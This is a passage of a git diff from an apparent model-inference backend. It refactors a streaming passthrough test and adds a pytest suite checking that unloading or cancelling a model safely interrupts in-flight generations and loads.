-                messages = [ChatMessage(role = "user", content = "hi")],
-                stream = True,
-                tools = [
-                    {
-                        "type": "function",
-                        "function": {
-                            "name": "lookup",
-                            "parameters": {"type": "object", "properties": {}},
-                        },
-                    }
-                ],
+            result = await self._run_passthrough_stream(
+                monkeypatch,
+                ['data: {"choices":[{"delta":{"content":"hello"}}]}'],
             )
+            chunks = result.chunks
 
-            response = await _openai_passthrough_stream(
-                Request(),
-                threading.Event(),
-                SimpleNamespace(
-                    base_url = "http://llama.test",
-                    context_length = 4096,
-                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
-                ),
-                payload,
-                "gguf",
-                "chatcmpl-test",
-                monitor_id = monitor_id,
-            )
-            chunks = []
-            async for chunk in response.body_iterator:
-                chunks.append(chunk)
-
-            assert chunks == ['data: {"choices":[{"delta":{"content":"hello"}}]}\n\n']
-            [entry] = monitor.snapshot()
+            assert chunks[0] == 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\n'
+            compact = "".join(chunks).replace(" ", "")
+            assert '"finish_reason":"stop"' in compact
+            assert chunks[-1] == "data: [DONE]\n\n"
+            [entry] = result.monitor.snapshot()
             assert entry["status"] == "completed"
             assert entry["reply"] == "hello"
-            assert monitor.active_count() == 0
+            assert result.monitor.active_count() == 0
 
         asyncio.run(_run())
 
diff --git a/studio/backend/tests/test_orchestrator_unload_cancel.py b/studio/backend/tests/test_orchestrator_unload_cancel.py
new file mode 100644
index 0000000000..fe3c6d5a0d
--- /dev/null
+++ b/studio/backend/tests/test_orchestrator_unload_cancel.py
@@ -0,0 +1,1622 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+"""unload_model cancels an in-flight generation instead of waiting it out.
+
+The sequential subprocess used to queue ``unload`` behind a running ``generate``,
+hanging the UI. ``unload_model`` now cancels first (the mp.Event the worker checks
+each token) and takes ``_gen_lock`` before the unload round-trip.
+"""
+
+import threading
+import time
+
+import pytest
+
+from core.inference import orchestrator as orch_mod
+from core.inference.orchestrator import InferenceOrchestrator
+
+
+def _bare_orchestrator():
+    """An orchestrator without the real __init__ subprocess/network."""
+    o = InferenceOrchestrator.__new__(InferenceOrchestrator)
+    o._gen_lock = threading.Lock()
+    o._cancel_event = threading.Event()  # stands in for the mp.Event
+    o._drain_event = threading.Event()  # stands in for the unload-drain mp.Event
+    o._proc = object()  # truthy so _ensure_subprocess_alive reports alive
+    o._cmd_queue = object()
+    o._resp_queue = object()
+    o._dispatcher_thread = None
+    o._dispatcher_stop = threading.Event()
+    o._dispatcher_lifecycle_lock = threading.Lock()
+    o._unload_pending = False
+    o.active_model_name = "m"
+    o.models = {"m": {}}
+    o.loading_models = set()
+    return o
+
+
+def test_unload_cancels_inflight_generation_then_unloads(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    # A generation holds _gen_lock and releases it only once cancelled.
+    o._gen_lock.acquire()
+
+    def releaser():
+        o._cancel_event.wait(timeout = 5)  # released only after the cancel fires
+        o._gen_lock.release()
+
+    t = threading.Thread(target = releaser)
+    t.start()
+
+    start = time.monotonic()
+    ok = o.unload_model("m")
+    elapsed = time.monotonic() - start
+    t.join(timeout = 5)
+
+    assert ok is True
+    assert o._cancel_event.is_set(), "generation must be cancelled before the unload"
+    assert {"type": "unload", "model_name": "m"} in sent
+    assert o.active_model_name is None
+    assert "m" not in o.models
+    # Waited on the released-after-cancel lock, not a full generation.
+    assert elapsed < 2.0
+
+
+def test_unload_no_active_generation_unloads_normally(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    ok = o.unload_model("m")
+
+    assert ok is True
+    assert {"type": "unload", "model_name": "m"} in sent
+    assert o.active_model_name is None
+    # Lock released for the next caller.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+def test_unload_falls_back_to_shutdown_when_generation_wont_yield(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(orch_mod, "_UNLOAD_GEN_LOCK_TIMEOUT", 0.2)
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("must not send unload when wedged"))
+
+    # A wedged worker never releases _gen_lock, even after the cancel.
+    o._gen_lock.acquire()
+
+    ok = o.unload_model("m")
+
+    assert ok is True
+    assert shutdown, "should tear the subprocess down to free the GPU"
+    assert o.active_model_name is None
+
+
+def test_unload_tears_down_when_compare_dispatcher_wedged(monkeypatch):
+    # A wedged compare-mode generation bypasses _gen_lock, so the acquire guard
+    # misses it and _send_cmd/_wait_response would hang on resp_queue. Unload must
+    # instead tear the subprocess down, like the wedged locked-generation path.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(orch_mod, "_DISPATCH_IDLE_TIMEOUT", 0.2)
+
+    # A live dispatcher whose mailbox never drains == a wedged compare-mode gen.
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {"req-1": object()}
+
+    class _AliveThread:
+        def is_alive(self):
+            return True
+
+    o._dispatcher_thread = _AliveThread()
+
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send unload with a wedged dispatcher")
+    )
+    monkeypatch.setattr(
+        o,
+        "_wait_response",
+        lambda t, timeout = 300.0: pytest.fail(
+            "must not wait on resp_queue with a wedged dispatcher"
+        ),
+    )
+
+    # _gen_lock is free (compare mode never took it), so the acquire guard passes.
+    ok = o.unload_model("m")
+
+    assert ok is True
+    assert shutdown, "should tear the subprocess down to free the GPU"
+    assert o.active_model_name is None
+    assert "m" not in o.models
+
+
+def test_consume_token_stream_bails_when_subprocess_swapped(monkeypatch):
+    # After a wedged-worker teardown a fresh load swaps _proc/_resp_queue; the
+    # still-live generation thread must detect the swap and bail, not re-block on
+    # the new queue while holding _gen_lock.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_subprocess_crash_message", lambda ctx: "inference subprocess restarted"
+    )
+
+    def read_one(timeout):
+        o._proc = object()  # simulate the reload swapping the subprocess
+        return None
+
+    gen = o._consume_token_stream(read_one, lambda: None, crash_context = "generation")
+    msg = next(gen)
+
+    assert "restarted" in msg
+    with pytest.raises(StopIteration):
+        next(gen)
+
+
+def test_unload_pending_clears_after_unload(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: None)
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    o.unload_model("m")
+
+    # The flag must not leak past the unload, else every later generation bails.
+    assert o._unload_pending is False
+
+
+def test_generation_bails_when_unload_pending(monkeypatch):
+    # Winning the _gen_lock handoff mid-switch must not start on the outgoing model.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    o._unload_pending = True
+
+    out = list(o._generate_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    # It released (or never held) the lock, so the pending unload can proceed.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+def test_dispatched_generation_bails_when_unload_pending(monkeypatch):
+    # Compare-mode bypasses _gen_lock, so it must early-out on a pending switch or
+    # it enqueues a generate on the outgoing model and delays the unload.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_start_dispatcher", lambda: pytest.fail("must not start a generation mid-switch")
+    )
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate mid-switch")
+    )
+    o._unload_pending = True
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+
+
+def test_audio_input_generation_bails_when_unload_pending(monkeypatch):
+    # The audio path takes _gen_lock but must also skip the outgoing model mid-switch.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate mid-switch")
+    )
+    o._unload_pending = True
+
+    out = list(o._generate_audio_input_inner(audio_array = [0.0, 0.1]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    # Lock released so the pending unload can proceed.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+def test_audio_response_bails_when_unload_pending(monkeypatch):
+    # TTS (generate_audio_response) is blocking, so it RAISES rather than starting on the
+    # outgoing model mid-switch; it takes _gen_lock and must release it either way.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send audio generate mid-switch")
+    )
+    o._unload_pending = True
+
+    with pytest.raises(RuntimeError, match = "unload"):
+        o.generate_audio_response("hello")
+
+    # Lock released so the pending unload can proceed.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+# ----------------------------------------------------------------------------
+# Preserve unload cancels across the queue handoff (drain_event) — items #1/#4.
+# ----------------------------------------------------------------------------
+
+
+def test_worker_drain_skip_emits_cancelled_gen_done_when_draining():
+    # The worker clears cancel_event at the start of every generate, so a cancel set
+    # while a generate is still queued would be lost when it is dequeued. drain_event
+    # is the durable signal: while it is set the worker skips the generate (emitting an
+    # immediate gen_done so the stream/mailbox drains) instead of running it.
+    import queue as _queue
+
+    from core.inference.worker import _drain_skip_generate
+
+    drain = threading.Event()
+    rq: _queue.Queue = _queue.Queue()
+    cmd = {"type": "generate", "request_id": "r1"}
+
+    # Not draining -> run normally (do not skip, emit nothing).
+    assert _drain_skip_generate(cmd, rq, drain) is False
+    assert rq.empty()
+    # Missing event (older worker) -> also runs normally.
+    assert _drain_skip_generate(cmd, rq, None) is False
+    assert rq.empty()
+
+    # Draining -> skip and emit a cancelled gen_done for this request_id.
+    drain.set()
+    assert _drain_skip_generate(cmd, rq, drain) is True
+    resp = rq.get_nowait()
+    assert resp["type"] == "gen_done"
+    assert resp["request_id"] == "r1"
+    assert resp["cancelled"] is True
+
+
+def test_worker_generate_branches_check_drain_before_clearing_cancel():
+    # Both worker command loops (MLX fast-path + GPU) must consult the drain skip
+    # before clearing cancel_event and running, so a queued generate can't clear an
+    # unload-initiated cancel and run the outgoing model to completion. Each loop
+    # checks the drain twice -- once before the clear and once after -- so a
+    # drain+cancel pair that lands in the window between them is still caught.
+    import inspect
+
+    from core.inference import worker
+
+    src = inspect.getsource(worker.run_inference_process)
+    assert src.count("_drain_skip_generate(cmd, resp_queue, drain_event)") == 4
+
+
+def test_worker_generate_rechecks_drain_after_clearing_cancel():
+    # The exact interleaving item #3 describes: the drain check reads unset, then the
+    # parent sets drain+cancel for an unload, then the worker clears cancel_event
+    # (erasing that cancel). A second drain check *after* the clear catches it and
+    # skips the generate instead of running the outgoing model to completion.
+    import queue as _queue
+
+    from core.inference.worker import _drain_skip_generate
+
+    drain = threading.Event()
+    cancel = threading.Event()
+    rq: _queue.Queue = _queue.Queue()
+    cmd = {"type": "generate", "request_id": "r1"}
+
+    # 1. Pre-clear drain check: not draining yet -> run (no skip, no emit).
+    assert _drain_skip_generate(cmd, rq, drain) is False
+    assert rq.empty()
+
+    # 2. Parent starts an unload: sets drain, then cancel (orchestrator order).
+    drain.set()
+    cancel.set()
+
+    # 3. Worker clears cancel at the start of the generate -- erasing the cancel.
+    cancel.clear()
+    assert not cancel.is_set()
+
+    # 4. Post-clear drain re-check catches the erased cancel and skips.
+    assert _drain_skip_generate(cmd, rq, drain) is True
+    resp = rq.get_nowait()
+    assert resp["type"] == "gen_done" and resp["cancelled"] is True
+
+
+def test_unload_sets_drain_event_during_switch_and_clears_after(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+
+    seen = {}
+
+    def record_send(cmd):
+        # drain_event must be set for the whole unload round-trip so any generate the
+        # worker dequeues in this window is skipped, not run.
+        seen["drain_set"] = o._drain_event.is_set()
+
+    monkeypatch.setattr(o, "_send_cmd", record_send)
+
+    assert o.unload_model("m") is True
+    assert seen.get("drain_set") is True
+    # Cleared on exit so a later generation (e.g. unloading a non-active model, or a
+    # reused subprocess) is not wrongly skipped.
+    assert o._drain_event.is_set() is False
+
+
+def test_unload_clears_drain_event_even_on_wedged_teardown(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(orch_mod, "_UNLOAD_GEN_LOCK_TIMEOUT", 0.2)
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("must not send when wedged"))
+
+    # A wedged worker never releases _gen_lock; unload tears the subprocess down. The
+    # real teardown nulls _drain_event, so emulate that so the finally exercises its guard.
+    def fake_shutdown(timeout = 5):
+        o._drain_event = None
+
+    monkeypatch.setattr(o, "_shutdown_subprocess", fake_shutdown)
+    o._gen_lock.acquire()
+
+    assert o.unload_model("m") is True  # must not raise in the drain_event clear
+
+
+# ----------------------------------------------------------------------------
+# Recheck the active model after the lock wait — items #2/#3.
+# ----------------------------------------------------------------------------
+
+
+def test_generation_rechecks_model_after_lock_wait(monkeypatch):
+    # A request passes the pre-lock active-model check, then blocks on _gen_lock while
+    # an unload clears/swaps the model. Even if _unload_pending was already reset (the
+    # unload's finally runs after the lock release), the under-lock active-model recheck
+    # must make it bail instead of sending a generate to the wrong/unloaded backend.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate on a swapped/unloaded model")
+    )
+
+    reached_lock = threading.Event()
+    # _wait_dispatcher_idle runs after the pre-lock check and before acquiring the lock;
+    # signalling here means the generator captured the model and is about to block.
+    monkeypatch.setattr(o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1])
+
+    o.active_model_name = "m"
+    o._unload_pending = False
+    o._gen_lock.acquire()  # stand in for an in-flight unload holding the lock
+
+    out: list = []
+
+    def run():
+        out.extend(o._generate_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    t = threading.Thread(target = run)
+    t.start()
+    assert reached_lock.wait(timeout = 5)
+    # Unload finished: model swapped, pending already cleared. Release the lock.
+    o.active_model_name = "other"
+    o._gen_lock.release()
+    t.join(timeout = 5)
+
+    assert out and any("unloaded" in chunk.lower() for chunk in out)
+
+
+def test_generation_rechecks_model_when_unloaded_to_none(monkeypatch):
+    # Same race, but the unload left no active model (a plain unload, not a switch).
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate after the model was unloaded")
+    )
+    reached_lock = threading.Event()
+    monkeypatch.setattr(o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1])
+
+    o.active_model_name = "m"
+    o._unload_pending = False
+    o._gen_lock.acquire()
+
+    out: list = []
+    t = threading.Thread(
+        target = lambda: out.extend(o._generate_inner(messages = [{"role": "user", "content": "hi"}]))
+    )
+    t.start()
+    assert reached_lock.wait(timeout = 5)
+    o.active_model_name = None
+    o._gen_lock.release()
+    t.join(timeout = 5)
+
+    assert out and any("unloaded" in chunk.lower() for chunk in out)
+
+
+# ----------------------------------------------------------------------------
+# Don't unload a stale model name (worker's active-model fallback) — item #5.
+# ----------------------------------------------------------------------------
+
+
+def test_unload_of_stale_name_does_not_touch_active_model(monkeypatch):
+    # If the named model isn't loaded (e.g. a concurrent load already swapped in a
+    # different one), unload must not send a command the worker would satisfy by
+    # unloading its *active* model.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send an unload for a stale model name")
+    )
+    o.active_model_name = "current"
+    o.models = {"current": {}}
+
+    assert o.unload_model("stale") is True
+    # The active model is left intact.
+    assert o.active_model_name == "current"
+    assert "current" in o.models
+
+
+def test_unload_matches_active_model_case_insensitively(monkeypatch):
+    # active_model_name can differ in case from the raw model_path a client sends
+    # to /unload (the load path canonicalizes casing). The stale-name guard must
+    # match case-insensitively too; otherwise it no-ops the unload and leaves the
+    # model resident while reporting success.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    o.active_model_name = "unsloth/Qwen3-4B"
+    o.models = {"unsloth/Qwen3-4B": {}}
+
+    # Client unloads with the casing it originally typed, before canonicalization.
+    assert o.unload_model("unsloth/qwen3-4b") is True
+    # The guard did not no-op: an unload for the canonical active model reached
+    # the worker (not the raw lowercase name, so the worker matches it directly).
+    assert {"type": "unload", "model_name": "unsloth/Qwen3-4B"} in sent
+    # Local state is cleared for the canonical name, not left stale.
+    assert o.active_model_name is None
+    assert o.models == {}
+
+
+def test_unload_of_stale_name_still_no_ops_after_case_insensitive_match(monkeypatch):
+    # The case-insensitive match must only rescue the active model; a genuinely
+    # different model name (case-insensitively too) must still no-op so the
+    # worker's absent-name fallback can't tear down the active model.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send an unload for a stale model name")
+    )
+    o.active_model_name = "unsloth/Qwen3-4B"
+    o.models = {"unsloth/Qwen3-4B": {}}
+
+    assert o.unload_model("unsloth/Llama-3.1-8B") is True
+    assert o.active_model_name == "unsloth/Qwen3-4B"
+    assert "unsloth/Qwen3-4B" in o.models
+
+
+def test_load_does_not_accumulate_stale_models_defeating_the_unload_guard(monkeypatch):
+    # A load always spawns a fresh subprocess holding only the new model, so
+    # self.models must mirror that instead of accumulating the previous model's name.
+    # Otherwise switching A -> B leaves 'A' in self.models, so a later unload('A')
+    # passes the "not in self.models" guard and the worker's absent-name fallback
+    # unloads the *active* model B.
+    import types
+
+    from utils import transformers_version as _tv
+
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+
+    monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {}))
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None)
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None)
+    monkeypatch.setattr(orch_mod.time, "sleep", lambda *_a, **_k: None)
+
+    def _load(name):
+        monkeypatch.setattr(
+            o,
+            "_wait_response",
+            lambda expected, timeout = 300.0: {
+                "type": "loaded",
+                "success": True,
+                "model_info": {"identifier": name, "display_name": name},
+            },
+        )
+        assert o.load_model(types.SimpleNamespace(identifier = name, gguf_variant = None)) is True
+
+    _load("modelA")
+    _load("modelB")  # switch to B without unloading A first
+
+    # self.models mirrors the single live model; the swapped-out name is gone.
+    assert o.active_model_name == "modelB"
+    assert set(o.models) == {"modelB"}
+
+    # A stale unload of the swapped-out model must not reach the worker (whose
+    # absent-name fallback would unload the active model B).
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("stale unload reached the worker"))
+    assert o.unload_model("modelA") is True
+    assert o.active_model_name == "modelB"
+    assert "modelB" in o.models
+
+
+def test_unload_route_serializes_with_loads_via_lifecycle_gate(monkeypatch):
+    # Item #5: /unload must hold the same lifecycle gate as /load so a concurrent load
+    # can't swap the backend subprocess/queues mid-unload.
+    import asyncio
+
+    import routes.inference as inference_route
+    from core.inference import llama_keepwarm as kw
+    from models.inference import UnloadRequest
+
+    class _Llama:
+        is_active = False
+        is_loaded = False
+        model_identifier = None
+
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: _Llama())
+    monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False)
+
+    unloaded: list = []
+
+    class _Backend:
+        active_model_name = "m"
+        models = {"m": {}}
+
+        def unload_model(self, name):
+            unloaded.append(name)
+            return True
+
+    monkeypatch.setattr(inference_route, "get_inference_backend", lambda: _Backend())
+
+    async def scenario():
+        # Hold the real gate, exactly as an in-flight /load would.
+        assert kw._lifecycle_lock.acquire(blocking = False)
+        try:
+            task = asyncio.ensure_future(
+                inference_route.unload_model(UnloadRequest(model_path = "m"), "tester")
+            )
+            # Yield to the loop repeatedly: the route must stay blocked on the gate.
+            for _ in range(10):
+                await asyncio.sleep(0.01)
+            assert unloaded == [], "unload ran while the lifecycle gate was held"
+            assert not task.done()
+        finally:
+            kw._lifecycle_lock.release()
+        resp = await task
+        assert resp.status == "unloaded"
+        assert unloaded == ["m"]
+
+    asyncio.run(scenario())
+
+
+# ----------------------------------------------------------------------------
+# Cancel an in-flight load OFF the lifecycle gate (Stop-loading regression).
+# /load holds the gate for the whole load, so a gated /unload could never
+# interrupt it; cancel_load only tears the loading subprocess down.
+# ----------------------------------------------------------------------------
+
+
+def test_cancel_load_terminates_loading_subprocess_and_sends_no_command(monkeypatch):
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    o.models = {}
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("cancel_load must not send a worker command")
+    )
+
+    assert o.cancel_load("m") is True
+    assert shutdown, "must tear the loading subprocess down"
+    assert "m" not in o.loading_models
+    assert o.active_model_name is None
+    # A name that is not loading -> no-op, returns False so the caller takes the gate.
+    assert o.cancel_load("other") is False
+
+
+def test_cancel_load_matches_loading_model_case_insensitively(monkeypatch):
+    o = _bare_orchestrator()
+    o.loading_models = {"unsloth/Qwen3-4B"}
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: None)
+
+    assert o.cancel_load("unsloth/qwen3-4b") is True
+    assert o.loading_models == set()
+
+
+def test_unload_model_cancels_a_loading_model_via_cancel_load(monkeypatch):
+    # unload_model still cancels an in-flight load (shared logic with cancel_load).
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send a command to cancel a load")
+    )
+
+    assert o.unload_model("m") is True
+    assert shutdown
+    assert "m" not in o.loading_models
+
+
+def test_unload_route_cancels_in_flight_load_without_waiting_on_gate(monkeypatch):
+    # The regression: /unload wrapped its whole body in the lifecycle gate, so the
+    # Stop-loading button (cancelLoading -> /unload) could not interrupt a safetensors
+    # load that holds the gate for its full duration. The cancel must run off-gate.
+    import asyncio
+
+    import routes.inference as inference_route
+    from core.inference import llama_keepwarm as kw
+    from models.inference import UnloadRequest
+
+    class _Llama:
+        is_active = False
+        is_loaded = False
+        model_identifier = None
+
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: _Llama())
+    monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False)
+
+    cancelled: list = []
+
+    class _Backend:
+        active_model_name = None
+        models: dict = {}
+
+        def get_loading_model(self):
+            return "m"
+
+        def cancel_load(self, name):
+            cancelled.append(name)
+            return True
+
+        def unload_model(self, name):
+            pytest.fail("must not take the gated unload path for a still-loading model")
+
+    monkeypatch.setattr(inference_route, "get_inference_backend", lambda: _Backend())
+
+    async def scenario():
+        # Hold the real gate, exactly as an in-flight /load would.
+        assert kw._lifecycle_lock.acquire(blocking = False)
+        try:
+            # Even with the gate held, the loading-cancel must go through.
+            resp = await inference_route.unload_model(UnloadRequest(model_path = "m"), "tester")
+            assert resp.status == "unloaded"
+            assert cancelled == ["m"]
+        finally:
+            kw._lifecycle_lock.release()
+
+    asyncio.run(scenario())
+
+
+# ----------------------------------------------------------------------------
+# A dispatched (compare-mode) request that races an unload must not orphan its
+# mailbox after _wait_dispatcher_idle stops the dispatcher.
+# ----------------------------------------------------------------------------
+
+
+def test_dispatched_bails_when_unload_flips_before_mailbox_registration(monkeypatch):
+    # The request passes the pre-work _unload_pending check, then an unload sets
+    # _unload_pending and _wait_dispatcher_idle stops the dispatcher (mailboxes empty)
+    # before this request registers its mailbox. The recheck under _mailbox_lock must
+    # make it bail, or the worker's skipped-generate reply has nothing to route it and
+    # the compare stream hangs on an orphaned mailbox.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+
+    # Flip the unload flag after the pre-work check (626) but before mailbox
+    # registration -- exactly the window _wait_dispatcher_idle exploits.
+    def flip(*a, **k):
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert o._mailboxes == {}, "must not leave an orphaned mailbox"
+
+
+# ----------------------------------------------------------------------------
+# Dispatched path: bail when a cleared-pending unload swapped the model or
+# tore the dispatcher down during the pre-registration window -- item #2.
+# ----------------------------------------------------------------------------
+
+
+class _AliveDispatcher:
+    """Stand-in dispatcher thread that reports itself alive."""
+
+    def is_alive(self):
+        return True
+
+
+def test_dispatched_bails_when_model_swapped_before_mailbox_registration(monkeypatch):
+    # The request passes the pre-work checks, then a full unload+reload completes
+    # (clearing _unload_pending) before this request registers its mailbox. The
+    # under-lock recheck must notice active_model_name changed and bail, instead of
+    # sending a generate that lands on the swapped-in model.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+
+    # Swap the active model after the pre-work check but before registration,
+    # with _unload_pending already back to False (the unload finally ran).
+    def swap(*a, **k):
+        o.active_model_name = "other"
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", swap)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate on the swapped-in model")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert o._mailboxes == {}, "must not leave an orphaned mailbox"
+
+
+def test_dispatched_bails_when_dispatcher_stopped_before_mailbox_registration(monkeypatch):
+    # Same window, but the unload was a same-model reload so active_model_name is
+    # unchanged; the give-away is that the dispatcher was stopped. Registering a
+    # mailbox with no dispatcher to route the reply would hang the compare stream.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+
+    def stop_dispatcher(*a, **k):
+        o._dispatcher_thread = None  # unload's _stop_dispatcher cleared it
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", stop_dispatcher)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate with the dispatcher stopped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert o._mailboxes == {}, "must not leave an orphaned mailbox"
+
+
+def test_dispatched_happy_path_registers_and_sends(monkeypatch):
+    # Guard against a false bail: with the model unchanged and the dispatcher alive,
+    # the recheck must let the generate through (register a mailbox and send).
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()
